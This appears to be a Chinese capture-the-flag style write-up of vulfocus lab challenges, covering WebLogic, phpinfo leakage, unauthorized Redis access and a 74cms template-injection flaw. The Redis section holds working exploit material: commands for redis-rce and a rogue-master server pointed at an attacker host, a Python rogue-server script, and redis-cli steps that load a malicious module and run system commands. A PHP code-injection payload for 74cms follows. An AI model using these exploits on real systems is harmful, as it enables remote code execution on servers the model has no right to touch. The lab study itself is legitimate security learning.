FOFA-攻防挑战

news2024/11/24 9:16:29

记录一下中途短暂的辉煌时刻

辉煌一刻谁都有,别拿一刻当永久

在昨天初尝战果之后,今天又习惯性的打开 https://vulfocus.cn/ 发现今天还有挑战赛,按捺不住躁动的心,又开始了学习。今天主要拿下的是这四个镜像,同时我也会对我了解的漏洞详情做一个具体的分析

weblogci  CVE_2020_2551

我们看到了对应的端口有 7001

看到熟悉的界面以及之前察觉的端口信息,感觉有可能是 weblogic ,加上路径 console 查看一下,是 weblogic 10.3.6.0

weblogic 存在的漏洞太多了,所以我们直接上漏洞扫描工具

看到了漏洞对应的编号,以及存在的回显链路

phpinfo 信息泄露

打开界面就是一个 phpinfo

尝试了扫路径,查 phpinfo 漏洞的操作无果后,于是直接在页面上查找关键词 flag

轻易就查询到了 flag 的值,这个题目给 5 分 我是没有想到的

Redis 未授权访问漏洞

一看对应映射的端口是 6379 立马就联想到了 Redis,同时这个端口无法从 web 端进行访问,所以基本可以肯定是 Redis 了

注意到版本是 4.0.14

针对于 Redis 未授权访问漏洞,有以下利用方法

  • 利用 Redis 写入webshell

  • 写 ssh-keygen 公钥登录服务器

  • 利用计划任务反弹shell

  • 利用主从复制获取shell

这里我们选用 主从复制漏洞来获取shell

在服务器上操作(今天借到了服务器)

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand/
make
# 生成 /RedisModules-ExecuteCommand/src/module.so
cd ..
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py  -r 123.58.236.76 -p 57119 -L 43.142.138.251 -f module.so

利用主从复制获取shell

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

Linux

在本机上弄的时候出现各种各样的奇葩的问题,给我整破防了,最后我采用了 docker 来进行复现。复现不同的利用都删掉 docker ,重启继续进行。最后发现主从复制的利用版本是 4.x-5.x,从 6.0开始,就无法利用成功,写入exp.so 也是可以的,module 加载时会失败,提示没有权限,给 exp.so 权限后时可以的。

sudo docker pull vertigo/redis4
sudo docker run -p 6379:6379 vertigo/redis4

redis-rce

redis-rce

生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand/
make
# 生成 /RedisModules-ExecuteCommand/src/module.so
cd ..
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.10.187 -p 6379 -L 192.168.10.1 -f module.so

redis-rogue-server

redis-rogue-server

git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-serve
python3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1

Redis主从复制手动挡

import socket
from time import sleep
from optparse import OptionParser

def RogueServer(lport):
    resp = ""
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    conn,address = sock.accept()  
    sleep(5)
    while True: 
        data = conn.recv(1024)
        if "PING" in data:
            resp="+PONG"+CLRF
            conn.send(resp)
        elif "REPLCONF" in data:
            resp="+OK"+CLRF
            conn.send(resp)
        elif "PSYNC" in data or "SYNC" in data:
            resp =  "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            if type(resp) != bytes:
                resp =resp.encode()       
            conn.send(resp) 
        #elif "exit" in data:
            break



if __name__=="__main__":

    parser = OptionParser()                
    parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")    
    parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")       

    (options , args )= parser.parse_args()
    lport = options.lp
    exp_filename = options.exp

    CLRF="\r\n"
    payload=open(exp_filename,"rb").read()
    print "Start listing on port: %s" %lport
    print "Load the payload:   %s" %exp_filename  
    RogueServer(lport)

redis-cli -h 192.168.10.187
> ping
> config set dir ./               # 设置redis的备份路径为当前目录
> config set dbfilename exp.so    # 设置备份文件名为exp.so,默认为dump.rdb
> slaveof 192.168.10.1 9999       # 设置主服务器IP和端口
> module load ./exp.so            # 加载恶意模块
> slaveof no one                  # 切断主从,关闭复制功能
> system.exec 'whoami'            # 执行系统命令
> config set dbfilename dump.rdb  # 通过dump.rdb文件恢复数据
> system.exec 'rm ./exp.so'       # 删除exp.so
> module unload system            # 卸载system模块的加载

windows

Redis 官方没有提供 windows 版的安装包,windows 下使用的 Redis 还是 3.X 版本的。redis 在写文件的时候会有一些版本信息以及脏数据,无法写出正常的DLL、EXE、LINK 等文件,所以 对 Windows 下的 redis 的利用方法主要是往 web 目录写马以及写启动项。

RedisWriteFile

RedisWriteFile 利用Redis的主从同步写数据,脚本将自己模拟为master,设置对端为slave, master 数据空间保证绝对干净,轻松实现了写无损文件。

参考文章 对 Redis 在 Windows 下的利用方式思考  踩坑记录-Redis(Windows)的getshell可以利用以下方式

  • 系统 DLL劫持 (目标重启或注销)

  • 针对特定软件的 DLL 劫持(目标一次点击)

  • 覆写目标的快捷方式 (目标一次点击)

  • 覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击)

  • 覆写 sethc.exe 等文件 (攻击方一次触发)

  • mof 等

因为对这些暂时还没有研究,所以在这里只演示以下,在 windows redis 写无损文件

python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]

python3 RedisWriteFile.py --rhost=192.168.10.190 --rport=6379 --lhost=192.168.10.1  --lport=9999 --rpath="C:\Users\Public" --rfile="test.txt"  --lfile="test.txt"

哇,这个无损写文件真是 yyds,在 linux 下利用也是没有一点问题。

骑士cms 存在模板解析漏洞

打开页面就是 骑士cms,想到了骑士 cms 的历史漏洞 文件包含漏洞(thinkphp3 的文件包含)

这样操作

http://74cms.test/index.php?m=home&c=index&a=assign_resume_tpl
POST:
variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>



http://74cms.test/index.php?m=home&c=index&a=assign_resume_tpl
POST:
variable=1&tpl=data/Runtime/Logs/Home/22_06_28.log

 

 

漏洞的原理主要是通过将代码通过报错信息写到日志文件中,再利用文件包含实现代码执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/589182.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

前端SKU一站式解决方案 - Geek-SKU

因为业务需要且市场上的UI框架与插件市场内没有简易的用法并且不够全面萌生便了自己写一个SKU组件的想法&#xff0c;于是Geek-SKU便应运而生。 现在的SKU组件已支持vue、uniapp&#xff0c;支持带图SKU、主题色设置、自动选择低价SKU、自动展示价格区间等&#xff0c;让您更便…

浏览器自动填充但是数据为空的问题

问题背景 公司项目中登录页为了方便&#xff0c;需要允许浏览器自动填充账号密码。这个在很多项目都很常见&#xff0c;但是测试中出现了这样一个问题&#xff1a;视觉上已经自动填充账号密码&#xff0c; 但是当点击密码的小眼睛或者点击登录时&#xff0c;会清空掉填充的数据…

火爆全网,性能测试-全链路压测实战总结,从需求到实战...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 流程导图 梳理阶段…

SpringBoot+Vue 的家政服务管理平台+数据库(附源码)

文章目录 1. 背景2.主要技术3. 可行性分析4.系统设计5系统的详细设计与实现5.1前台模块设计5.2后台功能模块 源码下载地址 1. 背景 本系统主要是设计出家政服务管理平台&#xff0c;基于B/S构架&#xff0c;后台数据库采用了Mysql&#xff0c;可以使数据的查询和存储变得更加有…

Linux函数库管理

文章目录 Linux函数库管理动态与静态函数库静态函数库动态函数库 ldconfig与 /etc/ld.so.confldconfig使用案例 程序的动态函数库解析&#xff1a;lddldd使用案例 校验软件的正确性常见的校验软件有哪些&#xff1f;使用案例 Linux函数库管理 在 Linux 操作系统中&#xff0c;…

【算法竞赛进阶指南】141.周期 题解 KMP 最小循环节

题目描述 一个字符串的前缀是从第一个字符开始的连续若干个字符&#xff0c;例如 abaab 共有 5 5 5 个前缀&#xff0c;分别是 a&#xff0c;ab&#xff0c;aba&#xff0c;abaa&#xff0c;abaab。 我们希望知道一个 N N N 位字符串 S S S 的前缀是否具有循环节。 换言之…

7.Ansible Modules介绍

什么是Ansible Modules? Ansible模块根据其功能分为不同的组&#xff0c;每个模块提供了一些功能&#xff0c;可以直接使用。 模块官方文档: https://docs.ansible.com/ansible/2.9/modules/modules_by_category.html 系统模块是要在系统级别执行的操作,例如修改系统上的用户…

Springboot +spring security,认证方式---Form表单认证的实现(三)

一.简介 这篇文章来学习下security的认证方式其中的Form表单认证 二.Spring Security的认证方式 2.1什么是认证 认证: 就是用来判断系统中是否存在某用户&#xff0c;并判断该用户的身份是否合法的过程&#xff0c;解决的其实是用户登录的问题。认证的存在&#xff0c;是为…

Spring Boot 如何实现异步消息处理

Spring Boot异步消息处理 在现代应用程序中&#xff0c;异步消息处理是一项至关重要的任务。它可以提高应用程序的性能、可伸缩性和可靠性&#xff0c;同时也可以提供更好的用户体验。Spring Boot提供了多种方式来实现异步消息处理&#xff0c;包括使用Spring AMQP、Spring Ka…

【斯歌X捷普】优秀体验官活动:全民开发的样板企业是这样炼成的

3月22日&#xff0c;上海斯歌与捷普共同举办了一场别出心裁的活动——“产品优秀体验官”颁奖典礼&#xff0c;以表彰对业务流程开发做出突出贡献的捷普员工。值得注意的是&#xff0c;获奖的14名流程开发人员中&#xff0c;有7人并非是专业的IT人员&#xff0c;而是来自业务岗…

搜索引擎变天了!谷歌宣布开放「生成式搜索平台」!AI 大模型颠覆搜索体验

作者 | 小戏、兔子酱 搜索引擎&#xff0c;可能真的要变天了&#xff01; Google 终于要迎来它 25 年来最大的改变&#xff0c;谷歌宣布了开始内测开放【生成式搜索平台&#xff08;Search Generative Experience&#xff0c;SGE&#xff09;】&#xff0c;并逐步舍弃那些甚至是…

Linux中与中断相关的内核数据结构

【摘要】本文树妖详细讲解了Linux中与中断相关的内核数据结构及其内部联系。 八、中断相关的数据结构 8.1 irq_desc 用于表示IRQ描述符的结构定义如下&#xff1a;\linux-2.6.32.63\include\linux\irq.h struct irq_desc {unsigned int irq; //中断号unsigned int …

ipad可以使用其他品牌的手写笔吗?2023年电容笔推荐

现在&#xff0c;人们的生活越来越智能化&#xff0c;有些人已经用平板电脑取代了传统的笔记本。我发现用ipad不管是用来画画还是做笔记非常方便&#xff0c;但是苹果Pencil对于大多数人来说都是昂贵的。据我所知&#xff0c;如果仅仅是为了记录&#xff0c;而不是为了画画的话…

他是98年的卷王,我真的玩不过他····

现在的小年轻真的卷得过分了。前段时间我们公司来了个98年的&#xff0c;工作没两年&#xff0c;跳槽到我们公司起薪18K&#xff0c;都快接近我了。后来才知道人家是个卷王&#xff0c;从早干到晚就差搬张床到工位睡觉了。 最近和他聊了一次天&#xff0c;原来这位小老弟家里…

PKI 基础知识

摘要 本白皮书介绍了加密和公钥基本结构(PKI)的概念和使用 Microsoft Windows 2000 Server 操作系统中的证书服务的基础知识。如果您还不熟悉加密和公钥技术&#xff0c;先阅读本白皮书将有助于理解 Windows 2000 Web 站点上有关这些主题的其它技术白皮书。 引言 Microsoft …

玩转VLAN间路由,教你3个好方法

我的网工朋友大家好啊 在现实网络中&#xff0c;经常会遇到需要跨VLAN相互访问的情况。 很多网工通常会选择一些方法&#xff0c;来实现不同VLAN间主机的相互访问&#xff0c;例如单臂路由。 但是&#xff0c;单臂路由技术中由于存在一些局限性&#xff0c;比如带宽、转发效…

NodeJS基础到入门EXPS⑥

文章目录 ✨文章有误请指正&#xff0c;如果觉得对你有用&#xff0c;请点三连一波&#xff0c;蟹蟹支持&#x1f618;前言Express框架 Router路由NEST 方法路由端点使用回调函数数组处理路由使用混合使用函数和函数数组处理路由中间件的分类及用法 1、应用级中间件 2、路…

使用 python 制作自动填写问卷星问卷调查程序

目录 前言环境&#xff1a;代码展示尾语 &#x1f49d; 前言 嗨喽~大家好呀&#xff0c;这里是魔王呐 ❤ ~! 你的问卷星任务还没做完吗&#xff1f;今天教你如何快速把问卷星调查任务给完成。 环境&#xff1a; anaconda5.2.0&#xff08;python3.6.8&#xff09; 编辑器: p…

ASEMI代理KY可控硅BT169的工作原理及应用领域

编辑-Z 本文主要介绍了可控硅BT169的工作原理及其在各个领域的用。首先&#xff0c;我们将详细阐述可控硅BT169的工作原理&#xff0c;包括结构特点、工作过程等&#xff1b;其次&#xff0c;我们将探讨可控硅BT169在家用电器、工业控制、电力电子等领域的应用。 1、可控硅BT1…

RSA加密 多线程读写不安全

转自&#xff1a;&#xff08;一场开源 RSA 库引发的“血案”&#xff09; 导读 RSA 加密算法是一种非对称加密算法&#xff0c;该算法极为可靠&#xff0c;在现有技术条件下&#xff0c;很难破解&#xff0c;因此在软件开发中被广泛使用。你不必担心&#xff0c;本文不会介绍…